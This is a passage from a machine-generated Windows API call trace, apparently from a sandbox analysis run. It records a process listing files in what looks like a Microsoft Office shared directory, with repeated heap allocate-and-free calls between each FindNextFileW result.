nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0048.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.935] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0048.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.935] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0048.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.935] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0048.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.935] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0048.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.936] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0048.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.936] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0048.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.936] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0048.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.936] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0048.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.936] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0048.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.937] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0048.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.937] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0048.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.937] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0048.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.937] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0048.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.938] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0048.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.938] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0048.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.938] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0048.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.938] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0048.938] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0048.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.938] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0048.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.939] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0048.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.939] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0048.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.939] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0048.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.939] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0048.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.940] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: 